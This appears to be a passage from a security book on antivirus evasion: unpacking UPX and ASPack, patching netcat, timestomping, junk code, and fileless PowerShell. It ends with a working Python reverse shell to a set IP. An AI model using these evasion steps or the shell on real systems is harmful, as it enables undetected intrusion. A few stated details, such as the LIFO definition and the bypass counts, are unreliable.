The following diagram demonstrates an example of malware mutation using
metamorphic code:
Figure 5.13 – Metamorphic diagram
In this diagram, we can see three versions of the same code in x86 assembly language.
With each mutation, the code looks different, but the result is always the same. Since the
result of the mutation is identical to that of the original malware, it is possible to detect
metamorphic-based malware using the heuristic engine.
These three sub-techniques are very powerful and can be used as part of our antivirus
bypass techniques' arsenal.
Let's move on to the next technique we used during our research: packing.
Antivirus bypass using packing 121
Antivirus bypass using packing
Packers are programs that are used most of the time to compress code in binary files
(mostly EXE files). While these programs are not, in themselves, harmful and can in fact
be used for a variety of useful purposes, malware authors tend to use packers to hide their
code's intentions, making malware research more difficult and potentially aiding their
code in thwarting static antivirus engines. This section of the book will present the major
differences between regular and packed executables, explore how to detect packers, and
explain how to defeat them. Central to this task is understanding the importance and
maintenance of unpacking engines used by various types of antivirus software.
How packers work
To explain how packers work, we will run a simple "Hello World.exe" file through
two different packers, Ultimate Packer for eXecutables (UPX) and ASPack, each of
which uses a different packing technique.
In general, packers work by taking an EXE file and obfuscating and compressing the code
section (".text" section) using a predefined algorithm. Following this, packers add a
region in the file referred to as a stub, whose purpose is to unpack the software or malware
in the operating system's runtime memory and transfer the execution to the original
entry point (OEP). The OEP is the entry point that was originally defined as the start
of program execution before packing took place. The main goal of antivirus software is
to detect which type of packer has been used, unpack the sample using the appropriate
techniques for each packer using its unpacking engine, and then classify the unpacked file
as either "malicious" or "benign."
The unpacking process
Some unpacking techniques are as simple as overwriting a memory region or a specific
section in the executable. Many of them use various self-injection techniques, by
injecting a blob or a shellcode to a predefined or allocated region of memory, transferring
execution to the injected code, and finally overwriting their own process. Unpacking
can also be achieved by loading an external dynamic-link library (DLL) to do the dirty
job. Furthermore, some packers can use process-injection techniques such as process
hollowing, discussed previously, which in most cases creates a legitimate process such
as notepad.exe in a suspended state, hollows a part of its memory region, and finally
injects the unpacked payload before resuming the suspended process.
Let's look at a few practical unpacking examples to understand this concept in detail.
122 Bypassing the Static Engine
UPX – first example
This packer is widely used by legitimate software and malware authors alike. First, we
will pack our sample Hello World.exe file, and then we will unpack it using the -d
argument built into UPX. Finally, we will conduct the unpacking process manually to
understand some of the inner workings of this packer. These two examples will give you
an idea of the concepts and practice of the unpacking flow.
Before we pack the sample, we first put the Hello World.exe executable into a tool
called DiE (short for Detect it Easy). The following screenshot tells us that the executable
has been compiled with C/C++ and that there is no sign of any "protection" mechanism:
Figure 5.14 – DiE output
We then check the entropy of the file. Entropy is a measurement of randomness in a given
set of values or, in this case, when we check whether the file is packed or not.
In the following screenshot, we can see that the entropy value is not high (less than 7.0),
which tells us that the executable is not packed yet:
Antivirus bypass using packing 123
Figure 5.15 – DiE entropy value
Another great indicator of a packed file is the function imports that the file includes,
which are small compared to a non-packed executable. The following screenshot shows
a normal number of imported DLLs and API functions used by the executable using the
PE-bear tool (https://github.com/hasherezade/bearparser):
Figure 5.16 – The Import Address Table (IAT) of the file
124 Bypassing the Static Engine
In addition, in the following screenshot, we can see that the entry point (EP) of this
program is 0x12D0, which is the address where this executable needs to begin
its execution:
Figure 5.17 – The entry-point value of the file
Now that we understand what a regular file looks like before packing takes place, we can
pack the Hello World.exe executable using UPX, with the following command:
UPX.exe <file_name> -o <output_name>
The following screenshot demonstrates how to do this using Command Prompt:
Figure 5.18 – The Hello World.exe packing UPX command
Antivirus bypass using packing 125
Now, testing the packed Hello World.exe executable in the DiE tool reveals very
different results, as shown here:
Figure 5.19 – DiE output after UPX packing took place
And as you can see, the executable is successfully detected as a UPX-packed binary.
The entropy and the section names support this conclusion, as seen in the
following screenshot:
Figure 5.20 – DiE entropy value after UPX packing took place
126 Bypassing the Static Engine
Also, notice that the names of the sections changed to UPX0, UPX1, and UPX2, which can
be taken as another indicator.
The following diagram shows the PE sections before and after UPX packing took place:
Figure 5.21 – UPX packing illustration
In addition, using the PE-bear tool again, we can see here that the entry point of this
packed version of Hello World.exe has also been changed to 0xC230:
Figure 5.22 – The entry-point value of the file after UPX packing took place
Antivirus bypass using packing 127
In the following screenshot, you can also clearly see the fairly small number of API
function imports compared to the original executable:
Figure 5.23 – The IAT of the file after UPX packing took place
Once you understand the differences between the file before and after UPX packing, let's
understand how to perform manual unpacking.
Unpacking UPX files manually
Here, we will first unpack the UPX-packed file using UPX's built-in -d argument, and
then we will tackle it manually.
With the following command, it is possible to unpack the UPX packed file:
UPX.exe -d <filename>
128 Bypassing the Static Engine
The following screenshot demonstrates the unpacked, cleaned version of the Hello
World.exe executable after unpacking it using the -d argument:
Figure 5.24 – The entry point of the file after unpacking
Antivirus bypass using packing 129
We can see that we got the same clean binary with the same OEP and, of course, the DLLs'
API function imports, as these existed before packing took place.
Please note that the entry point will not always be the same as it was before packing,
especially when conducting manual unpacking.
Now, we can execute the unpacking process manually to help us better understand the
inner mechanisms of UPX and the unpacking flow, as follows:
1. We first open the packed binary in x32dbg and find the entry point, with the
instruction of pushad, as illustrated in the following screenshot:
Figure 5.25 – The pushad instruction in x32dbg
This screenshot shows that the instructions start at the earlier mentioned address of
0xC230, which is the entry point of the UPX1 section.
130 Bypassing the Static Engine
2. To confirm this, you can click on one of the memory addresses in the left pane
of the debugger and choose Follow in Memory Map. This will point you to the
mapped memory of the "UPX1" section, as seen in the following screenshot:
Figure 5.26 – The UPX1 section in x32dbg
3. It is standard for UPX to overwrite the "UPX0" section with the unpacked data.
With this knowledge, we can proceed to right-click on the "UPX0" section and
click on Follow in Dump, as shown in the following screenshot:
Antivirus bypass using packing 131
Figure 5.27 – Follow in Dump button
Notice that this section is assigned ERW memory protection values, meaning that
this section of memory is designated with execute, read, and write permissions.
4. Now, we can set a Dword Hardware, Access breakpoint on the first bytes in the
memory offset of this section so that we can see when data is first being written to
this location during execution, as can be seen in the following screenshot:
Figure 5.28 – Dword | Hardware on access breakpoint
132 Bypassing the Static Engine
5. Then, we press F9 to execute the program—notice that this process repeats itself a
number of times. As it executes, the Hardware, Access breakpoint will be triggered
a number of times, and each time, it writes chunks of data to this memory section,
as illustrated in the following screenshot:
Figure 5.29 – Written data chunks to the UPX0 section
6. Now, if we right-click on the memory address—at 0x00401000, in this case— and
click Follow in Disassembly, we will get to a place in the memory that looks strange
at first glance, but if we scroll down a little bit, we can identify a normal "prologue"
or function start, which is our actual OEP, as shown in the following screenshot:
Figure 5.30 – The OEP
7. Another great indicator to check whether we have located the OEP is to check
the strings. In the following screenshot, you can see that we found our "Hello
World!" string after we located the OEP:
Antivirus bypass using packing 133
Figure 5.31 – String indicator after the unpacking process
Finally, we can use a tool such as Scylla (integrated into x32dbg) to dump the
process and reconstruct the program's Import Address Table (IAT).
8. First, it is better to point the Extended IP (EIP) (or the RIP in 64-bit executables)
register to the address of the OEP so that Scylla can detect the correct OEP and,
from there, locate the IAT and get the imports.
This screenshot demonstrates how Scylla looks once we found the OEP, and then
clicked IAT Autosearch and Get Imports:
Figure 5.32 – Scylla view: dump process
134 Bypassing the Static Engine
9. Afterward, we select the Dump button to dump the process and save it as a file.
There are times where the unpacked executable will not work, so it is always helpful
to try the Fix Dump button in Scylla, and then select the dumped executable. Here
is a screenshot of IDA Pro recognizing the Hello World.exe executable with
the Hello world! string:
Figure 5.33 – The "Hello World!" string followed by a working code (IDA Pro view)
Once we have followed these steps, the unpacked and dumped executable runs smoothly
and without any problems.
Now, let's proceed to the next example of manual unpacking.
Unpacking ASPack manually – second example
ASPack is another packer designed to pack PE files across a range of older and newer
Windows versions. Malware authors also tend to use it to make detection by static
antivirus engines harder and to potentially bypass them.
ASPack is similar in some ways to UPX. For instance, execution is transferred from
different memory regions and sections to the OEP after unpacking has taken place.
Antivirus bypass using packing 135
In this practical example, we packed the same Hello World.exe file we used with the
UPX packer, this time using the ASPack packer. Then, as we did before, we inspected the
packed executable with the DiE tool, as can be seen in the following screenshot:
Figure 5.34 – DiE output after ASPack packing took place
As you can see, DiE has detected the file as an ASPack packed file. Now, let's proceed
as follows:
1. If we check the sections and imports using PE-bear, we notice that there are
relatively few imported functions, as seen in the following screenshot:
Figure 5.35 – The IAT of the file after ASPack packing took place
136 Bypassing the Static Engine
Please note that the section name where the packed executable is defined to start
from is .aspack.
In this case, the ASPack-packed executable dynamically loads more API functions
during runtime, using both LoadLibraryA()and GetProcAddress().
The function that we want to focus on is VirtualAlloc(), which allocates
virtual memory at a given memory address. In the case of ASPack, after the second
time that VirtualAlloc()is executed, we can go to the .text section and find
there our OEP, and then dump the unpacked data, as we presented in the section on
manually unpacking UPX.
2. As we saw before, this starts at the defined entry point with the pushad instruction,
which is located in the .aspack section, as seen in the following screenshot:
Figure 5.36 – The entry point
3. Now, we can put a breakpoint on the VirtualAlloc() API function. This can
be done by typing the bp command followed by the function name, as seen in the
following screenshot:
Figure 5.37 – The breakpoint on VirtualAlloc using the bp command
Antivirus bypass using packing 137
This will cause the process to break at the call to the VirtualAlloc()
API function.
4. Once we return from the VirtualAlloc() API function, we can observe
that two memory regions were allocated: at the 0x00020000 address and at
the 0x00030000 address. The following screenshot shows the two calls to
VirtualAlloc() and the return value of the starting address of the second
memory region, as part of the EAX register:
Figure 5.38 – The two allocated memory regions using the VirtualAlloc Windows API function
5. The allocated memory of 0x00020000 will contain a "blob" or set of instructions
that will unpack the code into the second memory region of 0x00030000, and
from there, the unpacked code will be moved to the .text section of the process.
This is done in the form of a loop that in turn parses and builds the unpacked code.
After the loop is done, the Central Processing Unit (CPU) instruction of rep
movsd is used to move the code to the .text section, where our OEP will appear.
The following screenshot demonstrates the use of the rep movsd instruction,
which moves the code from the memory of 0x00030000 to the .text section:
Figure 5.39 – The rep movsd instruction
138 Bypassing the Static Engine
6. Next, with the unpacked code in the .text section, we can go to the Memory Map
tab, right-click on the .text section, and select Follow in Disassembler, as can be
seen in the following screenshot:
Figure 5.40 – Follow in Disassembler button
7. Now, we land at the region of the unpacked code. Scrolling down, you will notice a
function prologue that comprises two assembly instructions: push ebp and mov
ebp, esp. This prologue is the start of the unpacked code— meaning our OEP.
8. Now, we will need to get the EIP register to point to the address of our OEP, and
finally, dump our unpacked code using Scylla. Here is how the Scylla screen appears
once we have the OEP and have selected IAT Autosearch and Get Imports:
Antivirus bypass using packing 139
Figure 5.41 – Scylla view: dump process
9. Now, after clicking on the Dump button to dump the unpacked process and save it
to a file, click Fix Dump to fix the dumped file, if needed.
10. In the following screenshot, you can see that the unpacked executable runs perfectly
and without any issues:
Figure 5.42 – The Hello World.exe file executes successfully after the manual unpacking process
Now that we understand the two unpacking methods, let's proceed with some more
information about packers.
140 Bypassing the Static Engine
Packers – false positives
Sometimes, when packing an executable file, antivirus software can falsely detect a
legitimate file as a malicious one.
The problem occurs with the static detection mechanism of the antivirus software,
which may perform detection on the file after packing took place. The antivirus software
compares particular strings to signatures in its database.
For example, if a legitimate file contains a string named UPX0 as well as a string named
UPX1, the antivirus software could flag this as malware. Obviously, this would be a false
positive.
The following screenshot demonstrates the results using VirusTotal when we scanned the
original Windows executable, mspaint.exe:
Figure 5.43 – VirusTotal's results of the original mspaint.exe file
And here is the result of scanning the same file after packing it with UPX:
Figure 5.44 – VirusTotal's results of the original mspaint.exe file after packing with UPX
In the preceding screenshot, we can see four antivirus engines and Endpoint Detection
and Response (EDR) have mistakenly detected the legitimate mspaint.exe file as
malware.
It is fair to assume that when one of these signature-based defense mechanisms is installed
on the endpoint, it will not let the file run, even though it is a legitimate file mistakenly
raising a false positive.
Summary 141
Every packer is built differently and has a different effect on the executable file. Although
using a packer is today widely seen as an effective method of bypassing antivirus engines,
it is by no means enough. Antivirus programs contain a large number of automatic
unpackers, and when antivirus software detects a packed file, it tries to determine which
packer was used and then attempts to unpack it using the unpacking engine. Most of the
time, it succeeds.
But there is still another way to bypass antivirus engines using packing. To use this
method, we must write an "in-house" custom-made packer or use a data compression
algorithm unknown to the targeted antivirus software, thus causing the antivirus software
to fail when it tries to unpack the malicious file.
After writing a custom-made packer, it will be nearly impossible to detect the malware,
because the unpacking engine of the antivirus software does not recognize the custom-
made packer.
To detect custom-made packers, antivirus vendors should know how to identify and
reverse-engineer the custom-made packer, just as we did before, and then write an
automated unpacking algorithm to make detection more effective.
Now that we understand what packers are and why antivirus software cannot detect
malware that is packed with a custom-made packer, we can now summarize this chapter.
Summary
In this chapter of the book, we learned about three antivirus static engine bypass
techniques. We learned about rename and control-flow obfuscations, about YARA rules
and how to bypass them easily, and we also learned about encryption types such as
oligomorphism, polymorphism, and metamorphism, and why packing is a good method
to bypass static antivirus engines.
In the next chapter, you will learn about four general antivirus bypass techniques.
6
Other Antivirus
Bypass Techniques
In this chapter, we will go into deeper layers of understanding antivirus bypass techniques.
We will first introduce you to Assembly x86 code so you can better understand the
inner mechanisms of operating systems, compiled binaries, and software, then we will
introduce you to the concept, usage, and practice of reverse engineering. Afterward, we
will go through implementing antivirus bypass using binary patching, and then the use
of junk code to circumvent and harden the analysis conducted by security researchers
and antivirus software itself. Also, we will learn how to bypass antivirus software using
PowerShell code, and the concept behind the use of a single malicious functionality.
In this chapter, we will explore the following topics:
• Antivirus bypass using binary patching
• Antivirus bypass using junk code
• Antivirus bypass using PowerShell
• Antivirus bypass using a single malicious functionality
• The power of combining several antivirus bypass techniques
• Antivirus engines that we have bypassed in our research
144 Other Antivirus Bypass Techniques
Technical requirements
To follow along with the topics in the chapter, you will need the following:
• Previous experience with antivirus software
• A basic understanding of detecting malicious PE files
• A basic understanding of the C/C++ or Python programming languages
• A basic understanding of computer systems and operating system architecture
• A basic understanding of PowerShell
• Nice to have: Experience using debuggers and disassemblers such as IDA Pro and
x64dbg
Check out the following video to see the code in action: https://bit.ly/3zq6oqd
Antivirus bypass using binary patching
There are other ways to bypass antivirus software than using newly written code. We can
also use a compiled binary file.
There are a few antivirus software bypass techniques that can be performed with already
compiled code that is ready to run, even if it is detected as malware by antivirus engines.
We have used two sub-techniques while performing research toward writing this book:
• Debugging / reverse engineering
• Timestomping
Let's look at these techniques in detail.
Introduction to debugging / reverse engineering
In order to perform reverse engineering on a compiled file in an Intel x86 environment,
we must first understand the x86 assembly architecture.
Assembly language was developed to replace machine code and let developers create
programs more easily.
Assembly is considered a low-level language, and as such, it has direct access to the
computer's hardware, such as the CPU. Using assembly, the developer does not need to
understand and write machine code. Over the years, many programming languages have
been developed to make programming simpler for developers.
Antivirus bypass using binary patching 145
Sometimes, if we – as security researchers – cannot decompile a program to get its source
code, we need to use a tool called a disassembler to transform it from machine code to
assembly code.
The following diagram illustrates the flow from source code to assembly code:
Figure 6.1 – The flow from source code to assembly code
The debugging technique is based on changing individual values within the loaded
process and then performing patching on the completed file.
Before we dive into debugging malicious software in order to bypass antivirus, it is helpful
to understand what reverse engineering involves.
What is reverse engineering?
Reverse engineering is the process of researching and understanding the true intentions
behind a program or any other system, including discovering its engineering principles
and technological aspects. In the information security field, this technique is used mostly
to find vulnerabilities in code. Reverse engineering is also widely used to understand the
malicious activities of various types of malware.
In order to understand how to reverse engineer a file, we'll include a brief explanation of a
few important fundamentals.
146 Other Antivirus Bypass Techniques
The stack
The stack is a type of memory used by system processes to store values such as variables
and function parameters. The stack memory layout is based on the last in, first out
(LIFO) principle, meaning that the first value that is stored in the stack is the first value to
be "popped" from the stack. The following diagram demonstrates the LIFO principle: Data
Element 5 is the last value to be pushed onto the stack, and it is therefore the first element
to be popped from the stack:
Figure 6.2 – Stack PUSH and POP operations
Now we understand what the stack is, let's continue with the heap and the CPU registers.
The heap
In contrast to stack memory, which is linear, heap memory is "free-style," dynamically
allocated memory. Heap memory can be allocated at any time and be freed at any time. It's
used mainly to execute programs at runtime within operating systems.
Antivirus bypass using binary patching 147
Assembly x86 registers
The x86 architecture defines several general-purpose registers (GPRs), along with a
number of registers for specific operations. The special memory locations are an integral
part of the CPU and are used directly by the CPU. In today's computers, most registers
are used for operations other than those for which they were originally intended. For
example, the 32-bit ECX (or RCX in 64 bit) register is generally used as a counter for
operations such as loops and comparisons, but it can also be used for other operations.
The following list of registers describes the general purpose of each:
• EAX – Used generally for arithmetic operations; in practice, used as a memory
region to store return values, and for other purposes.
• EBX – Generally used to store memory addresses.
• ECX – Mostly used as a counter for loop operations and comparisons.
• EDX – Mostly used for arithmetic division and multiplication operations that
require more memory to store values. Also, EDX stores addresses used for I/O
(input/output) operations.
Indexes and pointers
There are the registers used as pointers to specific locations:
• ESI – The source index, mainly used to transfer data from one memory region to
another memory region destination (EDI).
• EDI – The destination index, mainly used as a destination for data being transferred
from a source memory region (ESI).
• ESP – Used as part of the stack frame definition, along with the EBP register. ESP
points to the top of the stack.
• EBP – Also used to define the stack frame, along with the ESP register. EBP points
to the base of the stack.
• EIP – Points to the next instruction to be executed by the CPU.
148 Other Antivirus Bypass Techniques
Assembly x86 most commonly used instructions
These are the basic and most commonly used CPU instructions:
• MOV – Copies a value from the right operand to the left operand, for example, mov
eax, 1. This will copy the value of 1 to the EAX register.
• ADD – Adds a value from the right operand to the left operand, for example, add
eax, 1. This will add the value of 1 to the EAX register. If the EAX register had
previously stored the value of 2, its value after execution would be 3.
• SUB – Subtracts a value from the left operand, for example, sub eax, 1. This will
subtract the value stored in the EAX register by 1. If the EAX register had previously
stored the value of 3, its value after execution would be 2.
• CMP – Compares values between two operands, for example, cmp eax, 2. If the
EAX register was storing a value equal to 2, usually the following instruction would
contain a jump instruction that transfers the program execution to another location
in the code.
• XOR – Conducts a logical XOR operation using the right operand on the left
operand. The XOR instruction is also used to zeroize CPU registers such as the EAX
register, for example, xor eax, eax. This executes a logical XOR on the EAX
register, using the value stored in the EAX register; thus, it will zeroize the value of
EAX.
• PUSH – Pushes a value onto the stack, for example, push eax. This will push the
value stored in the EAX register onto the stack.
• POP – Pops the most recent value pushed to the stack, for example, pop eax. This
will pop the latest value pushed to the stack into the EAX register.
• RET – Returns from the most recent function/subroutine call.
• JMP – An unconditional jump to a specified location, for example, jmp eax. This
will unconditionally jump to the location whose value is stored in the EAX register.
• JE / JZ – A conditional jump to a specified location if the value equals a
compared value or if the value is zero (ZF = 1).
• JNE / JNZ – A conditional jump to a specified location if the value does not equal
a compared value or if the value is non-zero (ZF = 0).
Antivirus bypass using binary patching 149
The CPU has three different modes:
• Real mode
• Protected mode
• Long mode
The real mode registers used as 16-bit short like registers: AX, BX, DX, while the protected
mode is based on 32-bit long registers such as EAX, EBX, EDX, and so on.
The 64-bit long mode registers an extension for 32-bit long registers such as RAX, RBX,
and RDX.
The following is an illustration to simplify the layout representation of the registers:
Figure 6.3 – Registers layout illustration
Once we understand the basics of the assembly architecture, let's see some assembly x86
code examples.
Assembly x86 code examples
Example 1: Here is a basic Assembly x86 program to print a string with a value of
"Hello, World":
global _main
extern _printf
section .text
_main:
push string
call _printf
add esp, 4
ret
150 Other Antivirus Bypass Techniques
string:
db 'Hello World!', 10, 0
To run this code on your machine, it is recommended to use NASM Assembler.
You can download NASM from https://www.nasm.us/pub/nasm/
releasebuilds/2.15.05/win64/nasm-2.15.05-installer-x64.exe, and
gcc, you can get from http://mingw-w64.org/doku.php/download.
To execute the code, use the following commands:
nasm -fwin32 Hello_World.asm
gcc Hello_World.obj -o Hello_World.exe
These are the commands used to compile the Hello_World.asm program:
Figure 6.4 – Hello_World.asm compilation process
The first line declares the main function of our code, and the second line imports the
printf function.
Next, the section instruction, followed by the .text declaration, will define the
.text segment of our program, which will include all of the assembly instructions.
The .text section contains two subroutines: the main subroutine that will execute all
of the assembly instructions, and the "string" memory region that will hold the Hello
World! message declared by the db assembly instruction.
Under the _main subroutine, the first line is used to push the "Hello World!" message
as a parameter to the _printf function, which will be called on the next line.
The following line, call _printf, will call the _printf function and transfer
execution to it. After the _printf function is executed, our message is printed to the
screen and the program will return to the next line, add esp, 4, which will, in turn,
clear the stack. Finally, the last line of ret will return and the program's execution will
terminate.
Antivirus bypass using binary patching 151
Example 2: This next example is simple symmetric XOR-based encryption, which takes
a binary byte input of binary 101 and encrypts it with the binary key of 110. Then, the
program decrypts the XOR-encrypted data with the same key:
IDEAL
MODEL SMALL
STACK 100h
DATASEG
data db 101B
key db 110B
CODESEG
encrypt:
xor dl, key
mov bl, dl
ret
decrypt:
xor bl, key
mov dl, bl
ret
start:
mov ax, @data
mov ds, ax
mov bl, data
mov dl, bl
call encrypt
call decrypt
152 Other Antivirus Bypass Techniques
exit:
mov ah, 4ch
int 21h
END start
To run this code on your machine, it is recommended to use Turbo Assembler
(TASM). You can download TASM at https://sourceforge.net/projects/
guitasm8086/.
To execute the code, press F9:
Figure 6.5– Assemble, Build, and Run example
In the DATASEG segment, there are two variable declarations: the data intended to be
encrypted, and a second variable that serves as our encryption key.
In the CODESEG segment, we have the actual code or instructions of our program. This
segment includes a number of subroutines, each with a unique purpose: the encrypt
subroutine to encrypt our data, and the decrypt subroutine to decrypt our data after
encryption takes place.
Antivirus bypass using binary patching 153
Our program begins to execute from the start subroutine and will end by calling the
exit subroutine, which, in turn, uses two lines of code to handle the exit process of our
program.
The first two lines of the start function initialize the variables defined within the
DATASEG segment, while the third assigns the input variable to BL, the 8-bit lower
portion of the 16-bit BX register.
Then, the encryption subroutine is called by the call encrypt instruction.
Once execution is transferred to the encrypt subroutine, our input will be encrypted
as follows:
1. The XOR instruction encrypts the initialized data in the lower portion of the DX
register (DL) using the key variable, which was initialized with the encryption key.
2. The XOR-encrypted data is now copied from the lower portion of the DX register
(DL) to the lower portion of the BX register (BL).
3. Finally, the ret instruction is used to return from the function.
After the program returns from the encryption subroutine, it will call the decrypt
subroutine using the call decrypt instruction.
Once execution passes to the decrypt subroutine, the input will be decrypted as follows:
1. The XOR instruction decrypts the initialized data in the lower portion of the BX
register (BL) using the key operand, which was previously initialized with the
encryption key, just as was done during the encryption phase.
2. The XOR-encrypted data is now copied from the lower portion of the BX register
(BL) to the lower portion of the DX register (DL).
3. Finally, the ret instruction is used to return from the function.
Finally, the program reaches the exit subroutine, which will handle the termination of
the program.
Now that we have some basic knowledge and are able to make sense of assembly
instructions, we can move on to a more interesting example.
154 Other Antivirus Bypass Techniques
Antivirus bypass using binary patching
In the following example, we used netcat.exe (https://eternallybored.
org/misc/netcat/), which is already signed and detected as a malicious file by most
antivirus engines. When we opened the compiled file in x32dbg and came to the file's
entry point, the first thing we saw was that the first function used the command sub
esp, 18 – subtract 18 from the ESP register (as described earlier).
To make sure we don't "break" or "corrupt" the file, meaning that the file will still be able
to run within the operating system even after making changes, we made a minor change
to the program's code. We changed the number 18 to 17, then performed patching on the
file so it would be saved as part of the original executable on the computer's hard drive.
When we uploaded the file to VirusTotal, we noticed that with this very minor change,
we had actually succeeded in getting around 10 antivirus programs. Antivirus detections
went down from 34 to 24.
Theoretically speaking, any change to the contents of a file could bypass a different static
antivirus engine, because we do not know which signatures each static engine is using.
The following screenshot shows the original netcat.exe with the instruction sub
esp, 18:
Figure 6.6 – The sub esp, 18 instruction before the change
Antivirus bypass using binary patching 155
And the following screenshot shows the same file after changing the value to 17:
Figure 6.7 – The sub esp, 17 instruction after the change
After changing this value, we need to patch the executable, by pressing Ctrl + P and
clicking Patch File:
Figure 6.8 – The Patch File button
156 Other Antivirus Bypass Techniques
The following screenshot shows the number of detections for the netcat.exe file before
the change:
Figure 6.9 – VirusTotal's results of 34/70 detections
And here we can see the number of detections for the modified file:
Figure 6.10 – VirusTotal's results of 24/72 detections
Antivirus bypass using binary patching 157
This relatively simple technique managed to bypass 10 different antivirus engines, which
would not be able to detect the malicious file with this slight modification. Here is the
antivirus software that did not detect the patched netcat.exe file:
• Avast
• AVG
• Avira (No Cloud)
• Bitdefender
• CrowdStrike Falcon
• Cybereason
• Fortinet
• F-Secure
• G-Data
• MalwareBytes
• McAfee
• Microsoft
• Palo Alto Networks
• Sophos
• Symantec
• Trend Micro
Having learned about the basics of Assembly x86, the disassembly process, and binary
patching, let's learn about the second bypass technique of binary patching.
Timestomping
Another technique we can perform on a compiled file is called Timestomping. This time,
we're not editing the file itself, but instead, its creation time.
One of the ways many antivirus engines use to sign malware is the date the file was
created. They do this to perform static signing. For example, if the strings X, Y, and Z
exist and the file was created on January 15, 2017, then the file is detected as malware of a
particular kind.
158 Other Antivirus Bypass Techniques
On the left side here, you can see netcat.exe in its original form. On the right, you can
see the exact same file after I changed its creation time:
Figure 6.11 – Before and after timestomping
After this change, we can get around more static signatures that make use of the file
creation time condition to detect the malware.
Now that we know about binary patching using basic reverse engineering and
timestomping, we will move on to learning about the next bypass technique we used
during our research – the technique of antivirus bypass using junk code.
Antivirus bypass using junk code 159
Antivirus bypass using junk code
Antivirus engines sometimes search within the logic of the code to perform detection on
it in order to later classify it as a particular type of malware.
To make it difficult for antivirus software to search through the logic of the code, we can
use junk code, which helps us make the logic of the code more complicated.
There are many ways to use this technique, but the most common methods involve using
conditional jumps, irrelevant variable names, and empty functions.
For example, instead of writing malware that contains a single basic function with two
ordinary variables (for instance, an IP address and a port number) with generic variable
names and no conditions, it would be preferable, if we wished to complicate the code, to
create three functions, of which two are empty (unused) functions. Within the malicious
function, we can also add a certain number of conditions that will never occur and add
some meaningless variable names.
The following simple example diagram shows code designed to open a socket to the
address of an attacker, 192.168.10.5.
On the right side, we have added junk code to complicate the original program while still
producing the same functionality:
Figure 6.12 – Pseudo junk code
160 Other Antivirus Bypass Techniques
Besides using empty functions, conditions that will never occur, and innocent variable
names, we can also confuse the antivirus software by performing more extensive
operations that affect the hard drive. There are several ways to achieve this, including
loading a DLL that does not exist and creating legitimate registry values.
Here's an example:
Figure 6.13 – Pseudo junk code
In this diagram, you can see simple pseudo code that opens a connection using a socket to
a command-and-control server of the attacker. On the left side is the code before the junk
code technique is conducted, and on the right side, you can see the same functionality
after the junk code technique is used.
Important note
Junk code can also be used with techniques such as control flow obfuscation
to harden analysis for security researchers and to make the antivirus bypass
potentially more effective.
Now that we know how to use junk code to bypass antivirus software, we can continue to
the next technique we used during our research, PowerShell.
Antivirus bypass using PowerShell 161
Antivirus bypass using PowerShell
Unlike the techniques we have introduced so far, this technique is not based on a
malicious executable file but is used mostly as fileless malware. With this technique, there
is no file running on the hard drive; instead, it is running directly from memory.
While researching and writing this book, we used PowerShell fileless malware, the
malicious functionality of which involves connecting to a remote server through a specific
port. We divided the test into two stages. In the first part, we ran the payload from a PS1
file, which is saved to the hard drive, and in the second part, we ran the payload directly
from PowerShell.exe.
The following screenshot illustrates that the Sophos antivirus software managed to
successfully detect the PS1 file with the malicious payload saved to the hard drive with the
name PS.ps1:
Figure 6.14 – Sophos Home detected the malicious PS1 file
Then, instead of running the malicious payload from the PS1 file saved to the hard drive,
we ran the exact same payload, this time directly from PowerShell.exe.
In the following screenshot, there is a pseudo payload that we have used to demonstrate
this concept:
Figure 6.15 – The beginning of the payload that is used in the malicious PS1 file
162 Other Antivirus Bypass Techniques
In this screenshot, you can see that the payload ran directly from PowerShell.exe,
with the Sophos antivirus software running in the background.
It seems as if the antivirus software would be able to detect this payload – after all, it just
stopped the exact same payload in the PS1 file.
But after running the payload directly from PowerShell.exe, we were able to get a
Meterpreter shell on the endpoint, even though the Sophos Home Free antivirus was
installed on it:
Figure 6.16 – A Meterpreter shell on an endpoint with Sophos Home installed on it
It is possible that the reason the Sophos antivirus software did not detect the malicious
payload is that it was not using the heuristic engine correctly.
Despite the fact that the file had already been detected as malware just a minute before
running it in PowerShell.exe, the bypass may have worked because the heuristic
engine detected that the payload was running through PowerShell.exe, which is a file
signed by Microsoft.
Having understood this technique, let's proceed with the last one.
Now that we know why PowerShell is powerful to bypass antivirus software, we can move
on to learning the last bypass technique we used during our research – the technique of
antivirus bypass using a single malicious functionality.
Antivirus bypass using a single malicious functionality 163
Antivirus bypass using a single malicious
functionality
One of the central problems that antivirus software vendors need to deal with is false
positives. Antivirus software is not supposed to report to the user every single little
insignificant event taking place on the endpoint. If it does, the user may be forced to
abandon the antivirus software and switch to another antivirus software that creates fewer
interruptions during regular use.
To deal with false-positive detection, antivirus vendors increase their detection rate. For
example, if a file is not signed in the static and dynamic engines, the heuristic engine goes
into operation and starts to calculate on its own whether the file is malicious using all
sorts of parameters. For example, the antivirus software will try to determine whether the
file is opening a socket, performing dropping into the persistence folder, and receiving
commands from a remote server. The rate can be 70%, for example, that the file is detected
as malicious and the antivirus software will stop it from running.
To take advantage of this situation to perform antivirus bypass, we need to ask an
important question:
Will the antivirus software issue an alert for a malicious file when the file performs a
single malicious function?
Therefore, it depends on the functionality. If we are talking about functionality that is not
necessarily malicious, the antivirus will detect the file as containing a malicious function,
but the score won't be high enough to issue an alert to the user or prevent the malicious
file from running, thus the antivirus software will allow the file to run.
This kind of behavior of the heuristic engine is exactly what we can take advantage of to
bypass antivirus software.
The following diagram illustrates how each file is rated. As we explain in the following
diagram, if only one of the conditions is true, the file's score increases and the antivirus
software detects the file as malicious and signs it.
164 Other Antivirus Bypass Techniques
But if the score is low, the antivirus will not issue a malware alert, even though it contains
malicious functionality:
Figure 6.17 – "ML" diagram
To best illustrate this technique, and for proof-of-concept purposes, we will use a Python
program that connects to a remote command and control server to receive remote
commands (https://stackoverflow.com/questions/37991717/python-
windows-reverse-shell-one-liner):
import os, socket, sys
import threading as trd
import subprocess as sb
def sock2proc(s, p):
while True:
p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def proc2sock(s, p):
Antivirus bypass using a single malicious functionality 165
while True:
s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(("192.168.1.10", 443))
break
except:
pass
p=sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.
STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()
try:
p.wait()
except:
s.close()
sys.exit(0)
To compile the preceding code to an executable, we will use the following pyinstaller
command:
pyinstaller --onefile socket_example.py
